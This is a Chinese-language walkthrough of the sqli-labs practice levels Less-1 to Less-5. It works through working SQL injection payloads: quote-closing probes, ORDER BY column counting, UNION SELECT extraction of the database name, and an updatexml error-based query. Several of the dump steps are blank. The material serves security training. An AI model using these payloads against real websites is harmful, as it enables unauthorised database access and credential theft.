Less-1
验证注入点:单引号报错,两个单引号闭合利用闭合方式:' <payload> --+
1.进入第一题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示正常
|
|
3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id的值被单引号包裹
|
|
4.构造?id=1' and '1'='1
页面重新显示正常,由此判断出这题是单引号字符型注入
|
|
5.构造?id=1' order by 1 --+
通过order by子句来判断该数据表的字段数,页面显示正常。
|
|
构造?id=1' order by 4 --+
页面显示错误信息,由此可知该表字段数为3
|
|
6.构造?id=-1' union select 1,2,3 --+
判断出回显点为该表的第二、三字段
|
|
7.构造?id=-1' union select 1,2,database() --+
知道了数据库名为security
|
|
8.构造
|
|
在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
9.构造
|
|
在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
10.构造
|
|
爆出所有的用户名和密码
Less-2
验证注入点:单引号报错,不用闭合可执行 SQL语句利用闭合方式:<payload>
与第一关基本一样,就 id
不用闭合
1.进入第二题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示正常
|
|
3.接下来加个单引号,显示语句出错,根据报错信息可以得知是单引号
影响了SQL语句的闭合,由此判断出这题是数字型注入
|
|
4.构造?id=1 order by 3 --+
通过order by子句来判断该数据表的字段数
|
|
![[Pasted image 20250313162025.png]]
构造?id=1 order by 4 --+
页面报错,由此可知该表字段数为3
|
|
![[Pasted image 20250313162128.png]]
5.构造?id=-1 union select 1,2,3 --+
判断出回显点为该表的第二、三字段
|
|
6.构造?id=-1 union select 1,2,database() --+
知道了数据库名为security
|
|
7.构造
|
|
在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
8.构造
|
|
在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
9.构造
|
|
爆出所有的用户名和密码
Less-3
验证注入点:单引号报错,两个单引号闭合利用闭合方式:') <payload> --+
也是闭合符号不一样
1.进入第三题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示正常。
|
|
![[Pasted image 20250313163018.png]]
3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id
的值被单引号和括号包裹
|
|
4.构造?id=1') order by 3 --+
通过order by子句来判断该数据表的字段数
|
|
![[Pasted image 20250313163156.png]]
构造?id=1') order by 4 --+
页面报错,由此可知该表字段数为3
5.构造?id=-1') union select 1,2,3 --+
判断出回显点为该表的第二、三字段
|
|
![[Pasted image 20250313163335.png]]
6.构造?id=-1') union select 1,2,database() --+
知道了数据库名为security
|
|
7.构造
|
|
在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
8.构造
|
|
在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
![[Pasted image 20250313165309.png]]
9.构造
|
|
爆出所有的用户名和密码
Less-4
验证注入点:双引号报错,两个双引号闭合利用闭合方式:") <payload> --+
也是闭合符号不一样
1.进入第四题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示正常
3.接下来加个双引号,显示语句出错,根据报错信息可以得知参数id
的值被双引号和括号包裹
4.构造?id=1") order by 3 --+
通过order by子句来判断该数据表的字段数,页面显示正常
构造?id=1") order by 4 --+
页面报错,由此可知该表字段数为3
|
|
5.构造?id=-1") union select 1,2,3 --+
判断出回显点为该表的第二、三字段
6.构造?id=-1") union select 1,2,database() --+
知道了数据库名为security
|
|
![[Pasted image 20250313170055.png]]
7.构造
|
|
在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
8.构造
|
|
在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
9.构造
|
|
爆出所有的用户名和密码
Less-5
验证注入点:单引号报错,两个单引号闭合利用闭合方式:' <payload> --+
考察点:报错注入
1.进入第五题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示You are in...........
,不再像前4题显示name
和passwd
|
|
3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id的值被单引号包裹
|
|
4.构造?id=1‘ order by 1 --+
通过order by子句来判断该数据表的字段数,页面显示正常
|
|
构造?id=1' order by 3 --+
页面显示正常
构造?id=1' order by 4 --+
页面报错,由此可知该表字段数为3
|
|
5.构造?id=-1' union select 1,2,3 --+
判断回显点,结果发现行不通
|
|
6.构造?id=1' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) --+
发现可以进行盲注
|
|
7.也可以使用length()来判断数据库名的长度
|
|